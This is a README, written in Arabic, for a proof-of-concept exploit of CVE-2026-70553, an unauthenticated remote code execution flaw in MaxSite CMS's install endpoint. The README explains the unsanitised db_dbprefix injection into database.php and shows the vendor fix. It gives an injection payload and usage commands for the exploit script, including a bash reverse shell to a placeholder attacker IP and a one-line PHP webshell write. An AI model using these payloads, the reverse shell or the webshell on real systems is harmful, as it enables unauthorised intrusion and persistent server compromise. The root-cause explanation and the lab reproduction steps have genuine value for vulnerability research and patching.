
استغلال لإثبات المفهوم لثغرة CVE-2026-70553، يتيح تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة في MaxSite CMS عبر حقن PHP مستمر في database.php من خلال نقطة النهاية install.
إثبات المفهوم (PoC) لثغرة CVE-2026-70553: تنفيذ أوامر عن بُعد بدون مصادقة في MaxSite CMS عبر حقن كود PHP دائم في database.php من خلال نقطة نهاية التثبيت.
إثبات المفهوم هذا مخصص لأغراض البحث الأمني التعليمية والمصرَّح بها فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا الكود. اختبر الأنظمة التي تملكها فقط أو التي لديك إذن كتابي صريح لاختبارها.
تحتوي إصدارات MaxSite CMS من 105.2 وحتى 109.5 على ثغرة حرجة لتنفيذ أوامر عن بُعد بدون مصادقة في نقطة نهاية التثبيت. يتم دمج المعامل db_dbprefix مباشرة في كود PHP دون تنقية، مما يسمح للمهاجمين بحقن عبارات PHP عشوائية في application/config/database.php. وبما أن هذا الملف يُضمَّن في كل طلب، فإن الكود المحقون يحقق تنفيذ أوامر دائمًا (RCE).
في install/installer/functions.php، تقوم الدالة newDatabase() ببناء محتوى database.php:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
من خلال حقن حمولة مثل:
db_dbprefix=mso_'; system('id'); //
يصبح الملف المُنشأ database.php كما يلي:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
يؤدي هذا إلى الخروج من النص الحرفي (string literal) وحقن كود PHP عشوائي.
أضاف الإصلاح فحصًا لمنع إعادة التثبيت:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
هام جدًا: تواجه هذه الثغرة قيودًا عملية شديدة في السيناريوهات الواقعية.
/install/ غير محذوف)newDatabase() إلا إذا كانت الجداول غير موجودةinstall/installer/post.php عبر checkTableExists()newDatabase() لا تُستدعى أبدًا/install/ متاحًا، فإن مسار الكود المؤدي إلى الحقن محجوب بفحص وجود الجداولللتحقق من هذه الثغرة في بيئة خاضعة للتحكم:
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
تم إصدار هذا المشروع بموجب رخصة MIT. راجع LICENSE للحصول على التفاصيل.
تذكر: التزم دائمًا بممارسات الإفصاح المسؤول واحصل على إذن مناسب قبل إجراء أي اختبار.